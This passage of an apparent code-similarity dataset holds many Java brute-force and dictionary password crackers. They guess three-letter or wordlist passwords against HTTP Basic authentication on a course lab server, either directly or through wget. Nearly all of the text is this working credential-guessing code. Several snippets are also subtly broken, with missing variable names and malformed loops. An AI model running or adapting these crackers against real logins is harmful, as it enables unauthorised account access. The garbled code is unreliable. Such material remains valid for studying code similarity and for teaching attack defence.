\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\
\ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\
);\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\
\ else {\n System.out.println(\"[Usage] java BruteForce <URL> <USERNAME>\
\ <Dictionary path>\");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\
\ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\
\ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\
\ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \
\ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\
\ String getNewPassword()\n throws PasswordFailureException{\n try {\n \
\ {\n line = inputFile.readLine();\n }while (line.length() !=\
\ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\
\ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\
\ RuntimeException {\n\n public PasswordFailureException() {\n }\n}"
- "import java.net.*;\nimport java.io.*;\n\n\npublic class BruteForce extends Authenticator\
\ {\n\n \n private String username;\n \n private URL url;\n \n\
\ private char [] nextPassword;\n \n private char [] thisPassword;\n\n\
\ \n public static void main(String [] args) {\n if(args.length!=2)\
\ {\n System.err.println(\"usage: BruteForce <url> <username>\");\n\
\ System.exit(1);\n }\n BruteForce bf = null;\n \
\ try {\n bf = new BruteForce(args[0], args[1]);\n } catch\
\ (MalformedURLException me) {\n me.printStackTrace();\n \
\ System.exit(1);\n }\n bf.work();\n System.exit(0);\n \
\ }\n\n \n public BruteForce(String url, String username) \n \
\ throws MalformedURLException {\n this.url = new URL(url);\n \
\ this.username = username;\n this.nextPassword = new char [] {'a'};\n\
\ }\n\n \n public void work() {\n Authenticator.setDefault(this);\n\
\ HttpURLConnection uc = null;\n try {\n uc = (HttpURLConnection)\
\ url.openConnection();\n uc.connect();\n\t while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED\n\
\ && nextPassword!=null) {\n try {\n \
\ InputStream is = uc.getInputStream();\n uc.connect();\n\
\ } catch (ProtocolException pe) {\n uc = (HttpURLConnection)\
\ url.openConnection();\n } catch (NullPointerException npe) {\n\
\ npe.printStackTrace();\n System.exit(1);\n\
\ } \n }\n } catch (java.io.IOException e) {\n\
\ e.printStackTrace();\n System.exit(1);\n }\n \
\ System.out.println(\"password=\" + new String(thisPassword));\n }\n\n\
\ \n public PasswordAuthentication getPasswordAuthentication() {\n \
\ createNextPassword();\n return new PasswordAuthentication(username,\
\ thisPassword);\n }\n\n \n public void createNextPassword() {\n \
\ int i;\n if(thisPassword==null) {\n thisPassword = new\
\ char [] {'A', 'A', 'A'};\n nextPassword = new char [] {'A', 'A',\
\ 'B'};\n return;\n }\n thisPassword = nextPassword;\n\
\ if(nextPassword[2]=='Z') {\n nextPassword[2]='a';\n \
\ return;\n } else if(nextPassword[2]!='z') {\n i = (int)\
\ nextPassword[2];\n nextPassword[2]=(char) ++i;\n } else {\n\
\ nextPassword[2]='A';\n if(nextPassword[1]=='Z') {\n \
\ nextPassword[1]='a';\n } else if(nextPassword[1]!='z')\
\ {\n i = (int) nextPassword[1];\n nextPassword[1]=(char)\
\ ++i;\n } else {\n nextPassword[1]='A';\n \
\ if(nextPassword[0]=='Z') {\n nextPassword[0]='a';\n\
\ } else if(nextPassword[0]!='z') {\n i = (int)\
\ nextPassword[0];\n nextPassword[0]=(char) ++i;\n \
\ } else {\n nextPassword = null;\n }\n\
\ }\n }\n }\n}\n"
- "\n\nimport java.net.*;\nimport java.io.*;\n\t\n\nclass MyAuthenticator extends\
\ Authenticator {\n\n String password;\n\n public MyAuthenticator(String pwdin)\
\ {\n password = pwdin;\n }\n \n protected PasswordAuthentication\
\ getPasswordAuthentication(){\n\tString pwd = password;\n\treturn new PasswordAuthentication(\"\
\",pwd.toCharArray());\n }\n}\n"
- source_sentence: "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce\
\ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\
\ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\
\ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \
\ boolean morePasswords = true;\n int passPtr = 0;\n StringBuffer\
\ validChars = new StringBuffer(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
);\n char[] password = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n\
\ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\
\ URL url = new URL(resource);\n HttpURLConnection conn\
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
\ {\n System.out.println(\"cracked with \" + new String(password));\n\
\ auth = true;\n }\n } catch (Exception e) {\n\
\ System.out.println(\" was exception: \" + e.getMessage());\n \
\ }\n int count = passPtr;\n while (true) {\n \
\ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \
\ password[count] = validChars.charAt(0);\n count--;\n\
\ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
\ + 1);\n break;\n }\n if (count < 0) {\n\
\ \n if (passPtr < MAX_LENGTH - 1) {\n \
\ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\
\ } else {\n morePasswords = false;\n \
\ }\n break;\n }\n }\n \n }\
\ \n if (!auth) {\n System.out.println(\"Unable determine password\"\
);\n } else {\n time = (new Date()).getTime() - start.getTime();\n\
\ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
\ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\
\ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\
\ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\
\ {\n String user = \"\";\n return new PasswordAuthentication(user,\
\ password);\n }\n}\n"
sentences:
- "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\
\n\npublic class BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic\
\ class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String\
\ passwd)\n {\n this.pass = passwd;\n }\n\n\t \
\ protected PasswordAuthentication getPasswordAuthentication()\n \
\ {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n\
\ }\n public String pass;\n }\n\n public BruteForce()\
\ {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n\
\ System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e',\
\ 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t 'q','r','s','t','u','v','w','x','y','z',\
\ 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\
\n\t\tString record = null;\n\n\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new\
\ String();\n HttpURLConnection connection = null;\n URL u = null;\n\
\n try\n {\n u = new URL(url);\n\n }\n catch\
\ (MalformedURLException e)\n {\n }\n\n for(int a=0;a<words.length;a++)\n\
\ {\n for(int b=0;b<words.length;b++)\n {\n\
\ for(int c=0;c<words.length;c++)\n \
\ {\n pass[0]=words[a];\n \
\ pass[1]=words[b];\n pass[2]=words[c];\n\
\ passwd=passwd.copyValueOf(pass,0,3);\n \
\ System.out.println(count+ \" ) \" + passwd);\n \
\ count++;\n try\n\
\ {\n\n \
\ connection = (HttpURLConnection) u.openConnection();\n \
\ Authenticator.setDefault(new customAuthenticator(passwd));\n\
\n if (connection.getResponseCode()!=401)\n\
\ {\n \
\ System.out.print(\"The password is : \"+passwd);\n \
\ System.out.println();\n \
\ java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n\
\ System.out.println(d1.toString());\n\
\ System.out.println(\"\\ntime taken\
\ in seconds:\"+ (d1.getTime() - d.getTime())/1000+\"\\n\");\n\n \
\ System.exit(0);\n \
\ }\n else\n \
\ {\n }\n \
\ connection.disconnect();\n \
\ }\n catch (IOException e)\n \
\ {\n System.out.println(e);\n\
\ }\n }\n \
\ }\n }\n }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\
\t\tBruteForce = new BruteForce();\n\t}\n}"
- "\n\n\nimport org.apache.commons.httpclient.HttpClient;\nimport org.apache.commons.httpclient.UsernamePasswordCredentials;\n\
import org.apache.commons.httpclient.cookie.CookiePolicy;\nimport org.apache.commons.httpclient.methods.GetMethod;\n\
\n\n\n\npublic class BruteForce{\n\n static final String LOGON_SITE_HACKER\
\ = BruteForcePropertyHelper.getProperty(\"logonSite\");\n static final int\
\ LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
logonPort\")).intValue();\n\n static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
useProxyServer\")).intValue();\n static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
proxyPort\")).intValue();\n\n static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty(\"\
proxyServer\");\n static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty(\"\
proxyUserName\");\n static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty(\"\
proxypassword\");\n\n static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(\"\
getMethod\");\n static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
numberOfGetsBeforeReleaseConnection\")).intValue();\n\n static final String[]\
\ cValidChars\t = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\"\
,\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\"\
,\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\"\
,\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\"\
,\"X\",\"Y\",\"Z\"};\n\n public BruteForce() {\n super();\n }\n\n\
\n\n\n public static void main (String[] args) throws Exception {\n\n\t\tString\t\
statusLine = \" \";\n\t\tint\t\tcount = 0;\n\t\tint\t\tfirstLetterIndex = 0;\n\
\t\tint\t\tsecondLetterIndex = 0;\n\t\tint\t\tthirdLetterIndex = 0;\n\t\tint\t\
\tdivValue = 0;\n\n\n\n\n\t\tString userName = \"\";\n\t\tString password = \"\
\";\n\n\n HttpClient client = new HttpClient();\n\n\t\t\n\n if (USE_PROXY_SERVER\
\ == 1) {\n \t\t\tclient.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);\n\
\ \t\t\tclient.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME,\
\ PROXY_PASSWORD));\n\n }\n\n client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);\n\
\ client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER,\
\ \"http\");\n GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);\n\
\n\n\t\t\n\n\t\tcount = 0;\n\n\t\tfor (int f = 0; f < 52; f++) {\n\n\t\t\tfirstLetterIndex\
\ = f;\n\n\t\t\tpassword = cValidChars[firstLetterIndex];\n\t\t\tSystem.out.println(\"\
Count: \"+ count + \" First Index: \"+ firstLetterIndex+ \" password: \"+ password);\n\
\n\t client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName,\
\ password));\n\t client.executeMethod(getMethod);\n\t statusLine\
\ = getMethod.getStatusLine().toString();\n\n\n\t\t\tif (statusLine.compareTo(\"\
HTTP/1.1 200 OK\") == 0) {\n\t\t\t\tSystem.out.println(\"Found the user name and\
\ password for the site. The username is: \"+ userName+ \" and the password is:\
\ \"+ password);\n\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t }\n\n\n\t\t\n\t\tcount\
\ = 0;\n\n\t\tfor (int g = 0; g < 52; g++) {\n\n\t\t\tfirstLetterIndex = g;\n\n\
\t\t\tfor (int h = 0; h < 52; h++) {\n\n\t\t\tsecondLetterIndex = h;\n\n\t\t\t\
password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex];\n\n\t\
\t\t\tSystem.out.println(\"Count: \"+ count+ \" First Index: \"+ firstLetterIndex+\
\ \" Second Index: \"+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+\
\ cValidChars[thirdLetterIndex]+ \" password: \"+ password);\n\n\t\t client.getState().setCredentials(null,\
\ null, new UsernamePasswordCredentials(userName, password));\n\n\t\t\t\t++count;\n\
\n\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\n\t\t\t\tif (divValue\
\ == 0) {\n\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count+ \" Div Value: \"\
+ divValue + \" Releasing the connection and getting new one\");\n\t\t\t\t\tgetMethod.releaseConnection();\n\
\t\t\t\t\tgetMethod = null;\n\t\t\t\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\
\n\t\t\t\t}\n\n\t\t client.executeMethod(getMethod);\n\n\t\t statusLine\
\ = getMethod.getStatusLine().toString();\n\t\t\t\tSystem.out.println(\"Found\
\ the user name and password for the site. The username is: \"+ userName+ \" and\
\ the password is: \"+ password);\n\n\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1\
\ 200 OK\") == 0) {\n\t\t\t\t\tSystem.out.println(\"Found the user name and password\
\ for the site. The username is: \"+ userName+ \" and the password is: \"+ password);\n\
\n\t\t\t\t\tSystem.exit(0);\n\t\t\t\t}\n\t\t }\n\n\t\t}\n\n\t\t\n\t\t\n\n\t\
\tgetMethod.releaseConnection();\n\t\tgetMethod = null;\n\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\
\n\t\tcount = 0;\n\t\tfor (int i = 0; i < 52; i++) {\n\n\t\t\tfirstLetterIndex\
\ = i;\n\n\t\t\tfor (int j = 0; j < 52; j++) {\n\n\t\t\t\tsecondLetterIndex =\
\ j;\n\n\t\t\t\tfor (int k = 0; k < 52; k++) {\n\n\t\t\t\t\tthirdLetterIndex =\
\ k;\n\n\t\t\t\t\tpassword = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+\
\ cValidChars[thirdLetterIndex];\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count+\
\ \" First Index: \"+ firstLetterIndex+ \" Second Index: \"+ secondLetterIndex+\
\ \" Third Index: \"+ thirdLetterIndex+ \" \"+ cValidChars[firstLetterIndex]+\
\ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ \" password:\
\ \"+ password);\n\n\t\t\t client.getState().setCredentials(null, null,\
\ new UsernamePasswordCredentials(userName, password));\n\n\t\t\t\t\t++count;\n\
\n\t\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\n\t\t\t\t\t\
if (divValue == 0) {\n\n\t\t\t\t\t\tSystem.out.println(\"Count: \"+ count+ \"\
\ Div Value: \"+ divValue+ \" Releasing the connection and getting new one\");\n\
\t\t\t\t\t\tgetMethod.releaseConnection();\n\t\t\t\t\t\tgetMethod = null;\n\t\t\
\t\t\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\n\t\t\t\t\t}\n\n\t\t\t\
\ client.executeMethod(getMethod);\n\t\t\t statusLine = getMethod.getStatusLine().toString();\n\
\n\t\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1 200 OK\") == 0) {\n\t\t\t\t\t\t\
System.out.println(\"Found the user name and password for the site. The username\
\ is: \"+ userName+ \" and the password is: \"+ password);\n\t\t\t\t\t\tSystem.exit(0);\n\
\t\t\t\t\t}\n\t\t\t }\n\t\t\t}\n\t\t}\n }\n}\n"
- "import java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class Dictionary\
\ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\
\ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\
\ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \
\ String file = \"/usr/share/lib/dict/words\";\n String word;\n char[]\
\ password = new char[MAX_LENGTH];\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n\n while (!auth) {\n \n BufferedReader in = null;\n \
\ try {\n \n in = new BufferedReader(new FileReader(file));\n\
\ while ((word = in.readLine()) != null && !auth) {\n \
\ try {\n if (word.length() <= MAX_LENGTH) {\n \
\ password = word.toCharArray();\n \n \
\ Authenticator.setDefault(new CrackAuth(password));\n \
\ URL url = new URL(resource);\n HttpURLConnection conn\
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
\ {\n System.out.println(\"cracked with \" + new String(password));\n\
\ auth = true;\n }\n \
\ }\n } catch (Exception e) {\n System.out.println(\"\
\ was exception: \" + e.getMessage());\n }\n }\n\n \
\ \n } catch (FileNotFoundException fnfe) {\n System.out.println(\"\
File Not Found\");\n } catch (IOException ioe) {\n System.out.println(\"\
IOException\");\n } catch(Exception e) {\n e.printStackTrace();\n\
\ } finally {\n try {\n in.close();\n \
\ } catch (Exception e) {;}\n }\n\n\n }\n if (!auth) {\n\
\ System.out.println(\"Unable determine password\");\n } else {\n\
\ time = (new Date()).getTime() - start.getTime();\n System.out.println(\"\
it took \" + String.valueOf(time) + \" milliseconds crack the password\");\n\
\ }\n }\n}\n\nclass CrackAuth extends Authenticator {\n char[] password;\n\
\ public CrackAuth(char[] password) {\n this.password = password;\n }\n\
\n protected PasswordAuthentication getPasswordAuthentication()\n {\n \
\ String user = \"\";\n return new PasswordAuthentication(user, password);\n\
\ }\n}\n"
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n\
{\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D',\
\ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n \
\ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b',\
\ 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n \
\ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z',\
\ '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n \
\ };\n\n public static String encode (String string)\n {\n String encodedString\
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n \
\ int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes\
\ [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n\
\ {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else\n {\n b2 = bytes [i++];\n \
\ if (i >= bytes.length)\n {\n b3 = 0;\n \
\ pad = 1;\n }\n else\n b3 = bytes\
\ [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2\
\ = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf)\
\ << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n \
\ switch (pad)\n {\n case 0:\n encodedString\
\ += base64Array [c3];\n encodedString += base64Array [c4];\n \
\ break;\n case 1:\n encodedString += base64Array\
\ [c3];\n encodedString += \"=\";\n break;\n \
\ case 2:\n encodedString += \"==\";\n break;\n\
\ }\n }\n return encodedString;\n }\n}\n"
sentences:
- "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate\
\ static String password=\" \"; \n\n \n public static void main(String[]\
\ args) {\n\t String Result=\"\"; \n\t if (args.length<1)\n\t\t\t {\n\t\t\t\
\ System.out.println(\"Error: Correct Format Filename, username e.g<>\"); \n\
\t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\
\t\t\t Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\
\ \n\t\t\t System.out.println(\"The Password of \"+args[0]+\"is..\"+Result);\
\ \n\t\t\t \n\t\t }\n\n\n\n private String Password(String urlString,String\
\ username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis(); \n for\
\ ( char ch = 'A'; ch <= 'z'; ch++ )\n { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\
\t\t\t\t\t\t { \n\t\t\t\t\t\t ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\t\
for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )\n\t\t\t\t { \n\t\t\t\t\t \n\t\t\t\
\t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch1='a'; \n\t\t\
\t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )\n\t\t\t\
\t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\
\ ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\
\t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t \tSystem.out.print(\"\
\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\
\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString\
\ userPassword=username+\":\"+password; \n\n \n\t\t String encoding =\
\ new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection\
\ conc= url.openConnection(); \n\t\t\t\t\t conc.setRequestProperty (\"Authorization\"\
, \" \" + encoding);\t\t\t \n\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\tcnt++;\n\
\t\t\t\t\t if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200\
\ OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\
\t\t\t\t\t\t net=t1-t0; \n\t\t\t\t\t\t\tSystem.out.println(\"\
The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time\
\ Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password; \n\t\t\t\t\t\t\
}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\
\t e.printStackTrace(); \n\n\t\t\t\t}\n\n\t\t\t\n\t\t \n\t\t \n\t\t }\n\
\t\t \n\n\n\n \n \n\t } \n \n \n\t\
} \n return \"Password could not found\"; \n\n }\n\n\n}"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n\
{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\
\t\tpw = getPassword ();\n\t\tSystem.out.println(\"Password is: \"+pw);\n\t}\n\
\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\
\t\tpassWord = \"AAA\";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess\
\ pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader\
\ in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(\"\
\ attacking.....\");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n\
\ for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n\
\ for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\
\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = \"wget --http-user=\
\ --http-passwd=\"+passWord +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\
\ \";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\
\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\
\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\
\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\
